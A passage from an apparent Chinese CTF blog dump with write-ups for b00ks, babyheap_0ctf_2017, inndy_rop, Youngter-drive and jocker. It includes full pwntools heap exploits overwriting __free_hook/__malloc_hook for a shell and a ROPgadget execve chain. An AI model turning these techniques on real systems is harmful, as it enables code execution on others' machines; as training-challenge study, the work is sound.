u64(p.recv(6).ljust(8,'\\x00'))print 'heap_addr-->'+hex(heap_addr)add(0x80,'cccccccc',0x60,'dddddddd')add(0x10,'/bin/sh',0x10,'/bin/sh')delete(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))change('a'*0x20)show()libc_base = u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-88-0x10-libc.symbols['__malloc_hook']\n\n\n         同样的方法泄露book1的地址,然后伪造book结构\n        其中,heap_addr+0x30这个地址将会指向被删除的book2处的fd指针地址,由此泄露libc基址\n        这种方法泄露的地址不依赖于系统,arena的基址有固定的计算方式,使用常规的2.23版本libc即可拿到正确基址(虽然本题没有提供libc,但BUU里大多2.23的libc都是同一个,直接拿过来用就行了)\n        参考文章中,“不会修电脑”师傅是通过FastBin Attack来拿shell,但笔者这里还是同第一种方法一样,直接复写__free_hook即可\n        完整exp:\nfrom pwn import *#p=remote("node4.buuoj.cn",26109)p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})elf = ELF('./b00ks')libc = ELF("./libc.so.6")context.log_level = 'info'def add(name_size,name,content_size,content): p.sendlineafter('> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('chars): ',name) p.sendlineafter('size: ',str(content_size)) p.sendlineafter('tion: ',content)def delete(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index))def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('ption: ',content)def show(): p.sendlineafter('> ','4')def change(author_name): p.sendlineafter('> ','5') p.sendlineafter('name: ',author_name)p.sendlineafter('name: ','a'*0x1f+'b')add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')show()p.recvuntil('aaab')heap_addr = u64(p.recv(6).ljust(8,'\\x00'))print 'heap_addr-->'+hex(heap_addr)add(0x80,'cccccccc',0x60,'dddddddd')add(0x20,'/bin/sh',0x20,'/bin/sh')delete(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))change('a'*0x20)show()libc_base = u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))-88-0x10-libc.symbols['__malloc_hook']__malloc_hook = libc_base+libc.symbols['__malloc_hook']realloc = libc_base+libc.symbols['realloc']print 'libc_base-->'+hex(libc_base)__free_hook=libc_base+libc.symbols['__free_hook']system=libc_base+libc.symbols['system']edit(1,p64(__free_hook)+'\\x00'*2+'\\x20')print '__free_hook-->'+hex(__free_hook)edit(3,p64(system))delete(3)p.interactive()\n\n\n​\n第三法:         这里是指通过Fast Bin Attack来写hook\n        但这种方法通常都很难精确地覆写,只能在目标附近寻址合适的位置伪造chunk\n        笔者在尝试该方法时遇到了比较特别的问题,特此记录一下\n        首先需要泄露libc基址,泄露方法同第二种方法完全一样,通过fd指针拿到了libc base,此时的bins内容为:\nfastbins0x20: 0x00x30: 0x55a691fe2250 ◂— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55a691fe21e0 ◂— 0x00x80: 0x0unsortedbinall: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150\n\n\n        留意下述的地址,我们是能够在__free_hook周围找到一个能够用以伪造chunk的位置的\ngdb-peda$ p &__free_hook$1 = (void (**)(void *, const void *)) 0x7fc45e1737a8 <__free_hook>gdb-peda$ x /10gx 0x7fc45e1737a8-0x130x7fc45e173795 <_IO_stdfile_0_lock+5>:0xc45e3827000000000x000000000000007f0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x00000000000000000x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000\n\n\n         那么,我们的目标就是将0x70: 0x55a691fe21e0的fd指向0x7fc45e1737a8-0x13就能成功伪造了,然后覆盖__free_hook为system即可\n 但笔者经过测试之后发现,这种方法是不可行的\n        尽管此刻,我们能够找到合适的位置伪造chunk,但当我们成功使用edit功能复写之后,这里将会被置零\nfastbins0x20: 0x00x30: 0x55a691fe2250 ◂— 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55a691fe21e0 —▸ 0x7fc45e173795 <_IO_stdfile_0_lock+5> ◂— 0xc45de32ea00000000x80: 0x0unsortedbinall: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150\n\ngdb-peda$ x /10gx 0x7fc45e1737a8-0x130x7fc45e173795 <_IO_stdfile_0_lock+5>:0x00000000000000000x00000000000000000x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x00000000000000000x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x00000000000000000x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000\n\n         可以注意到,此时,这里变得不再合适了\n        那么接下来在进行malloc的时候,将因为无法通过chunk size的检查导致程序直接crash\n      笔者目前不太清楚是什么原因导致了 _IO_stdfile_0_lock中的地址被清除了,若以后得知,到那时再做补充吧\n        提供的代替方案之一是:覆盖__malloc_hook为某个one_gadget,然后通过realloc调整栈帧,最后用malloc来获取shell\n        在该方案中,__malloc_hook附近始终都有适合用于伪造的位置,因此这个方法是可以成立的,笔者也同样在该方法中拿到了shell,具体的exp请参照参考文章第二篇 ​\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1\nhttps://www.cnblogs.com/bhxdn/p/14293978.html\n插画ID:91452046\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"FastBinAttack实战 - babyheap_0ctf_2017","url":"/2021/08/09/babyheap-0ctf-2017/","content":"​\n分析利用:        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)\n__int64 __fastcall main(__int64 a1, char **a2, char **a3){ char *v4; // [rsp+8h] [rbp-8h] v4 = initMmapList(); while ( 1 ) { Menu(); switch ( getInput() ) { case 1LL: Allocate(v4); break; case 2LL: Fill(v4); break; case 3LL: Free(v4); break; case 4LL: Dump((__int64)v4); break; case 5LL: return 0LL; default: continue; } }}\n\n\n        v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:\n00000000 size_t InUse00000008 size_t Size00000010 size_t content\n\n\n         每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content\n        然后可以看看Free函数:\n__int64 __fastcall Free(__int64 a1){ __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; } } return result;}\n\n\n        由于free之后将指针全都清零了,所以指针复用在这里不太行\n        然后是Fill函数:\n__int64 __fastcall Fill(__int64 a1){ __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = getInput(); v3 = result; if ( (int)result > 0 ) { printf("Content: "); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } } return result;}\n\n\n         可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出\n        最后是Dump:\nint __fastcall Dump(__int64 a1){ int result; // eax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = getInput(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } } return result;}\n\n\n         没有什么可用点,但我们可以用来泄露地址\n        我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget\n        为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖\n        Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址\n如下过程参考CTF-WIKI:\n        首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk\n        适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4\n        然后用Free函数构成Fast Bin链表 idx1—>idx2\nallocate(0x10) #idx 0allocate(0x10) #idx 1allocate(0x10) #idx 2allocate(0x10) #idx 3allocate(0x80) #idx 4free(2)free(1)\n\n\n        因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1—>idx 4\n        由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查\npayload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)fill(0,payload)payload='a'*0x10+p64(0)+p64(0x21)fill(3,payload)\n\n\n        Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去\nallocate(0x10) #idx 1allocate(0x10) #idx 2payload='a'*0x10+p64(0)+p64(0x91)fill(3,payload)\n\n\n        此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)\nallocate(0x100) #idx 5free(4)dump(2)p.recvuntil('Content: \\n')unsortedbin_addr=u64(p.recv(8))print hex(unsortedbin_addr)main_arena_offset=0x3c4b20def offset_bin_main_arena(idx):word_bytes = context.word_size / 8offset = 4 # lockoffset += 4 # flagsoffset += word_bytes * 10 # offset fastbinoffset += word_bytes * 2 # top,last_remainderoffset += idx * 2 * word_bytes # idxoffset -= word_bytes * 2 # return offsetunsortedbin_offset_main_arena = offset_bin_main_arena(0)main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arenalibc_base = main_arena_addr - main_arena_offsetprint hex(libc_base)\n\n\n        main_arena_offset是写在每个libc中的固定值\n        有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset\n        unsortedbin_offset_main_arena这些值也都有固定的计算方式\n        因此现在已经泄露出了libc基址\n        然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin\nallocate(0x60)free(4)\n\n\n        接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:\ngdb-peda$ x /10gx &__malloc_hook-60x7f03f6128ae0 <_IO_wide_data_0+288>:0x00000000000000000x00000000000000000x7f03f6128af0 <_IO_wide_data_0+304>:0x00007f03f61272600x00000000000000000x7f03f6128b00 <__memalign_hook>:0x00007f03f5de9ea00x00007f03f5de9a700x7f03f6128b10 <__malloc_hook>:0x00000000000000000x00000000000000000x7f03f6128b20 <main_arena>:0x00000000000000000x0000000000000000\n\n\n        (不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址……)\n        我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针\nfake_chunk=main_arena_addr-0x33print hex(fake_chunk)fakechunk=p64(fake_chunk)fill(2,fakechunk)\n\n\n        然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell\nallocate(0x60) #idx 4allocate(0x60) #idx 6one_garget=0x4526a+libc_basepayload='a'*(0x13)+p64(one_garget)fill(6,payload)allocate(0x100)\n\n\n        但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本\n        因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的\nog1=[0x45216,0x4526a,0xf02a4,0xf1147] #libc2.23-0ubuntu11.3og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.2\n\n\n完整exp:from pwn import *context.log_level='debug'context.os='linux'context.arch='amd64'p=process('./babyheap_0ctf_2017')#p=remote("node4.buuoj.cn",27641)elf=ELF('./babyheap_0ctf_2017')libc=elf.libcdef cmd(x):p.sendlineafter('Command:',str(x))def allocate(size):cmd(1)p.sendlineafter('Size:',str(size))def fill(index,content):cmd(2)p.sendlineafter('Index:',str(index))p.sendlineafter('Size:',str(len(content)))p.sendlineafter('Content:',content)def free(index):cmd(3)p.sendlineafter('Index:',str(index))def dump(index):cmd(4)p.sendlineafter("Index:",str(index))def offset_bin_main_arena(idx):word_bytes = context.word_size / 8offset = 4 # lockoffset += 4 # flagsoffset += word_bytes * 10 # offset fastbinoffset += word_bytes * 2 # top,last_remainderoffset += idx * 2 * word_bytes # idxoffset -= word_bytes * 2 # return offsetallocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80)free(2)free(1)payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)fill(0,payload)payload='a'*0x10+p64(0)+p64(0x21)fill(3,payload)allocate(0x10)allocate(0x10)payload='a'*0x10+p64(0)+p64(0x91)fill(3,payload)allocate(0x100)free(4)dump(2)p.recvuntil('Content: \\n')unsortedbin_addr=u64(p.recv(8))print hex(unsortedbin_addr)main_arena_offset=0x3c4b20unsortedbin_offset_main_arena = offset_bin_main_arena(0)main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arenalibc_base = main_arena_addr - main_arena_offsetprint hex(libc_base)one_garget=0x4526a+libc_baseallocate(0x60)free(4)gdb.attach(p)fake_chunk=main_arena_addr-0x33print hex(fake_chunk)fakechunk=p64(fake_chunk)fill(2,fakechunk)allocate(0x60)allocate(0x60) #6payload='a'*(0x13)+p64(one_garget)fill(6,payload)allocate(0x100)p.interactive()\n\n ​\n插画ID:91746115\n","categories":["CTF题记","Note"],"tags":["CTF","glibc"]},{"title":"BUUCTF - Youngter-drive笔记与思考 (线程)","url":"/2021/04/30/buuctf-youngter-drive/","content":"插图ID: 89210183\nⅠ. 解题步骤(省略细节的描述)\nⅡ. 知识拓展(对各函数作用进行解释)\nⅠ.\n    如下为IDA分析得到的main函数。\n//main函数(主流程)int __cdecl main_0(int argc, const char **argv, const char **envp){ HANDLE v4; // [esp+D0h] [ebp-14h] HANDLE hObject; // [esp+DCh] [ebp-8h] sub_4110FF(); ::hObject = CreateMutexW(0, 0, 0); j_strcpy(Destination, &Source); hObject = CreateThread(0, 0, StartAddress, 0, 0, 0); v4 = CreateThread(0, 0, sub_41119F, 0, 0, 0); CloseHandle(hObject); CloseHandle(v4); while ( dword_418008 != -1 ) ; sub_411190(); CloseHandle(::hObject); return 0;}\n\n    sub_4110FF()函数作为输入,输入内容保存在 Source\n将Source内容复制到Destination\n    分别为 hObject 与 v4 各创建一个线程,并且前者中包括一个 StartAddress 函数,后者则包括 sub_41119F 函数\n    有一个特别的指需要注意:dword_418008 该值将分别在上述两个函数中变换,当前值为1D—-> 30\n    以及最后的 sub_411190 用于比较结果\n    如下为两个进程内人函数。\n//StartAddress函数void __stdcall StartAddress_0(int a1){ while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF); if ( dword_418008 > -1 ) { sub_41112C(&Source, dword_418008); --dword_418008; Sleep(0x64u); } ReleaseMutex(hObject); }}\n\n//sub_411B10函数void __stdcall sub_411B10(int a1){ while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF); if ( dword_418008 > -1 ) { Sleep(0x64u); --dword_418008; } ReleaseMutex(hObject); }}\n\n    注意到,两个函数均作 –dword_418008,但只有一方对 Source 进行 sub_41112C,以及各自都有一个Sleep(0x64),可知两个线程交替进行。\n    如下为 sub_411190 函数内容\n//sub_411940函数char *__cdecl sub_411940(int a1, int a2){ char *result; // eax char v3; // [esp+D3h] [ebp-5h] v3 = *(a2 + a1); if ( (v3 < 97 v3 > 122) && (v3 < 65 v3 > 90) ) exit(0); if ( v3 < 97 v3 > 122 ) { result = off_418000[0]; *(a2 + a1) = off_418000[0][*(a2 + a1) - 38]; } else { result = off_418000[0]; *(a2 + a1) = off_418000[0][*(a2 + a1) - 96]; } return result;}\n\n\n    函数逻辑较为简单:每次取 Source[dword_418008] ,根据If条件进行运算,总共运算次数应为 15 次\n    解密脚本不留神给删掉了,就不放了,其他师傅那肯定都能找到。\n    最后是比较函数。本没什么可说的地方,但本题稍有不同。\n//sub_411880函数int sub_411880(){ int i; // [esp+D0h] [ebp-8h] for ( i = 0; i < 29; ++i ) { if ( Source[i] != off_418004[i] ) exit(0); } return printf("\\nflag{%s}\\n\\n", Destination);}\n\n    由此代码可知其判断字符数应为 29 个。\n    密文为:TOiZiZtOrYaToUwPnToBsOaOapsyS 其字符数也是 29\n    但上述分析中明显可以看出,最终的flag长度应为 30 个字符,最后一个字符并没有确切方法,通过遍历得出为 ‘E’\nⅡ.\nHANDLE CreateMutexW(//创建或打开一个已命名或未命名的互斥对象。 LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName);//本题中将hObject所指线程置空\n\nHANDLE CreateThread(//创建一个线程以在调用进程的虚拟地址空间内执行 LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);//本题中为StartAddress函数建立一个子线程以运行该函数//v4同理\n\n\n以下将拓展些许有关“线程”的概念:\n    一个程序在运行时占用整个进程,一个进程可以建立多个线程。这些线程能够并行(指同时进行代码处理)以加快程序的运行速度。线程的定义不在这里赘述,以下内容为线程在运用过程中的知识。\n    线程能分为 “对等线程”  “分离线程” 和 “主线程”\n    当一个处理器在处理一个线程时遇到慢速系统调用(sleep、read等)等需要消耗较多时间的处理需求时,控制便通过上下文切换传送到下一个对等进程\n\n参考本题:\n StartAddress 与 sub_41119F 均有一个sleep函数。当该进程进行到该函数时,控制自动切换到另外一个线程并运行,并在另外一个线程中遇到Sleep,则又切换回原进程,因此才有加密 15 次\n    但上述也提到,线程是并行的。这两个线程并不是严谨的交替,而是因为Sleep(0x64)这段时间足够将线程中的所有内容运行结束而有余,因此才造成了交替运行的结果\n   注:Sleep函数的参数以毫秒为单位\n\n    和一个进程相关的线程将会组成一个对等线程池,独立于其他线程创立的子线程\n    主线程是所有对等线程中优先级最高的线程(这是它们的唯一区别)\n    不过对于上述线程的分类,还有一个更加合理的分类: “可结合” 与 “分离”\n    可结合的线程能够被任何其他线程回收或关闭,且在回收之前,其占用的内存资源不会释放;可分离的线程则不可被其他线程关闭,其内存资源将在终止时自动释放\n    另外一个需要注意的是不同线程间的共享变量\n    一个进程将被加载入一块虚拟内存,而其创造的所有线程都能够访问虚拟内存的任何地方\n    也就是说,线程的虚拟内存总是共享的;相反的,其寄存器从不会共享,不同线程无法调用其他线程的寄存器\n    既然虚拟内存是共享的,也就是说,每个线程的栈堆是共享的;只要线程能够获取其他线程的指针,就能够调用该线程的栈堆(由此也可推出:将一个线程中的变量入栈,则其他线程便能够调用它)\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF - inndy_rop 杂谈、32位与64位系统调用、与思考","url":"/2021/09/07/buuctfinndy-rop/","content":"​\n         总之先从题目开始看吧,是一道非常简单但却让我长见识的题……\nint overflow(){ char v1[12]; // [esp+Ch] [ebp-Ch] BYREF return gets(v1);}\n\n\n        明显的栈溢出,且程序基本没有特别的保护,正常构造rop链即可拿到shell\n        主要是想拓展一下系统调用与一个简单的获取ROP方法\nROPgadget --binary rop --ropchain\n\n\nROP chain generation===========================================================- Step 1 -- Write-what-where gadgets[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret[+] Gadget found: 0x8048433 pop esi ; ret[+] Gadget found: 0x8048480 pop edi ; ret[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret[+] Gadget found: 0x806ecda pop edx ; ret[+] Gadget found: 0x80b8016 pop eax ; ret[+] Gadget found: 0x80492d3 xor eax, eax ; ret- Step 2 -- Init syscall number gadgets[+] Gadget found: 0x80492d3 xor eax, eax ; ret[+] Gadget found: 0x807a66f inc eax ; ret- Step 3 -- Init syscall arguments gadgets[+] Gadget found: 0x80481c9 pop ebx ; ret[+] Gadget found: 0x80de769 pop ecx ; ret[+] Gadget found: 0x806ecda pop edx ; ret- Step 4 -- Syscall gadget[+] Gadget found: 0x806c943 int 0x80- Step 5 -- Build the ROP chain#!/usr/bin/env python2# execve generated by ROPgadgetfrom struct import pack# Padding goes herep = ''p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80\n\n\n         ‘–ropchain’参数能够直接生成一条rop链来get shell\n        其具体的构造方式不必细究,实际上笔者在写rop的时候也肯定不会这样写,不过结论来说,只需要加上合适的偏移就能在本题中直接拿到shell,倒是非常方便\n      后日谈:这种生成方式相当机械,部分gadget稍有缺失就会导致生成失败,因此实际环境中可能并不好用,况且PIE开启时,就可能完全派不上用场了\n然后是本篇的正文:\n        在阅读了其生成的ROP链之后,笔者好奇地搜了一下是否有“syscall”指令,因为上述是通过“int 0x80”来陷入内核的,那为什么不用syscall呢?\n        参考本贴:https://www.cnblogs.com/Max-hhg/articles/14266574.html\n        两者的差异只有传参规则、指令与调用号不同而已\n        32位:EBX、ECX、EDX、ESI、EDI、EBP\n        64位:RDI、RSI、RDX、R10、R8、R9\n        而在32位系统中使用 “int 0x80”,而64位系统中使用“syscall”,仅此而已的差别\n后话:\n        本来有点好奇,“为什么32位程序里会出现syscall指令”,后来对着IDA找汇编指令才发现,ROPgadget识别到的syscall在IDA里连对应的地址都找不到。\n        实际上就是把原本的指令字节分割一下,然后单独取出能被当作syscall的字节\n        嘛……这么来看还怪没有意义的…… ​\n插画IDA:92121278\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF - 网鼎杯 2020 青龙组 - jocker 分析与记录","url":"/2021/07/01/buuctfjocker/","content":"​\n         无壳,IDA打开可以直接进入main函数:\n​\n        第12行调用VirtualProtect函数更改了offset encrypt处的访问保护权限\nBOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\n\n\n\n参见:https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants\n\n         该处数据为0x4:PAGE_READWRITE\n\nEnables read-only or read/write access to the committed region of pages. If Data Execution Prevention is enabled, attempting to execute code in the committed region results in an access violation.\n\n        简单来说就是让这块数据能够被读写了(通常text段中只能拥有读/写中的一种)\n        继续往下读,发现输入值应该符合 24字节 的长度,然后遇到wrong 和 omg这两个函数\nchar *__cdecl wrong(char *a1){ char *result; // eax int i; // [esp+Ch] [ebp-4h] for ( i = 0; i <= 23; ++i ) { result = &a1[i]; if ( (i & 1) != 0 ) a1[i] -= i; else a1[i] ^= i; } return result;}\n\n\nint __cdecl omg(char *a1){ int result; // eax int v2[24]; // [esp+18h] [ebp-80h] BYREF int i; // [esp+78h] [ebp-20h] int v4; // [esp+7Ch] [ebp-1Ch] v4 = 1; qmemcpy(v2, &unk_4030C0, sizeof(v2)); for ( i = 0; i <= 23; ++i ) { if ( a1[i] != v2[i] ) v4 = 0; } if ( v4 == 1 ) result = puts("hahahaha_do_you_find_me?"); else result = puts("wrong ~~ But seems a little program"); return result;}\n\n\n        wrong对输入值进行了一些加减或异或处理,然后将结果在omg中同unk_4030C0处数据进行对比;wrong的逆算法容易实现,照抄就行了\n​\n         (现在才知道能够通过导出窗口快捷的提取出数据,一直以来的手抄实在是太笨了)\nunsigned int k[24] = { 0x66,0x6b,0x63,0x64,0x7f,0x61,0x67,0x64,0x3b,0x56,0x6b,0x61,0x7b,0x26,0x3b,0x50,0x63,0x5f,0x4d,0x5a,0x71,0xc,0x37,0x66 };for (int i = 0;i < 24; i++){if ((i & 1) != 0){k[i] += i;}else{k[i] ^= i;}cout << (char)k[i];}cout << endl;\n\n\n        得到结果flag{fak3_alw35_sp_me!!},提交发现错误;由于往下还有关键的encrypt段没分析,所以不用太怀疑flag是否算错,可以大胆的将它当作一个假的flag\n        再往下读for循环,发现它对offset encrypt进行了异或,判断其为代码段解密,可以用动调转到这个地方\n​\n​\n         IDA没能及时更新,需要我们手动修正为函数\n        选中00401500~0040152F,将其标为代码(Force)\n​\n         然后在00401502处创建函数,即可得到合适的结果\n​\n​\n// positive sp value has been detected, the output may be wrong!void __usercall __noreturn sub_401502(int a1@<ebp>){ unsigned __int32 v1; // eax v1 = __indword(0x57u); *(_DWORD *)(a1 - 32) = 1; qmemcpy((void *)(a1 - 108), &unk_403040, 0x4Cu); for ( *(_DWORD *)(a1 - 28) = 0; *(int *)(a1 - 28) <= 18; ++*(_DWORD *)(a1 - 28) ) { if ( (char)(*(_BYTE *)(*(_DWORD *)(a1 - 28) + *(_DWORD *)(a1 + 8)) ^ Buffer[*(_DWORD *)(a1 - 28)]) != *(_DWORD *)(a1 + 4 * *(_DWORD *)(a1 - 28) - 108) ) { puts("wrong ~"); *(_DWORD *)(a1 - 32) = 0; exit(0); } } if ( *(_DWORD *)(a1 - 32) == 1 ) puts("come here");}\n\n\n        IDA分析得到的代码并不是那么易读,显然,它将一些索引给翻译错了,但并非无法理解的程度\n        首先,提取unk_403040处的数据放入(a1-108)处,以及循环中用到的Buffer\nchar Buffer[] = "hahahaha_do_you_find_me?";unsigned int unk_403040[19] = {0x0E,0x0D ,0x09 ,0x06 ,0x13 ,0x05 ,0x58 ,0x56 ,0x3E ,0x06 ,0x0C ,0x3C ,0x1F ,0x57 ,0x14 ,0x6B ,0x57 ,0x59 ,0x0D };\n\n\n         *(a1-28)实际上是一个索引,指示了这个循环会执行19次;而(*(a1 - 28) + *(a1 + 8))相当于输入值指针加上一个偏移,其内容就是我们的输入值\n        这个输入值和Buffer异或后的结果应该等于(a1 - 108)的内容,也就是unk_403040处的数据,同样也容易写出解密代码\nchar key1[] = "hahahaha_do_you_find_me?";unsigned int f[19] = {0x0E,0x0D ,0x09 ,0x06 ,0x13 ,0x05 ,0x58 ,0x56 ,0x3E ,0x06 ,0x0C ,0x3C ,0x1F ,0x57 ,0x14 ,0x6B ,0x57 ,0x59 ,0x0D };for (int i = 0; i < 19; i++){f[i] ^= key1[i];cout << (char)f[i];}cout << endl;\n\n\n得到flag{d07abccf8a410c\n我们知道,flag应有24字节,但for循环只有19次,也就是缺少了5个字符;由于encrypt函数已经读完了,所以我们需要的结果应该在最后一个函数中,也就是finally函数\n​\n        将40159A~40159D处的数据全都转为代码,并将函数改为Undefine\n​\n         重新在40159A处创建函数,得到新函数finally:\n​\nint __cdecl finally(char *a1){ unsigned int v1; // eax int result; // eax char v3[9]; // [esp+13h] [ebp-15h] BYREF int v4; // [esp+1Ch] [ebp-Ch] strcpy(v3, "%tp&:"); v1 = time(0); srand(v1); v4 = rand() % 100; if ( (v3[*&v3[5]] != a1[*&v3[5]]) == v4 ) result = puts("Really??? Did you find it?OMG!!!"); else result = puts("I hide the last part, you will not succeed!!!"); return result;}\n\n\n        time(0)用以获取当前时间,第10行将其作为种子,第11行获取随机数;大概率我们是难以获取到出题人得到的种子的,因此,这个随机数若是必要的,应该只能通过预测得出\n        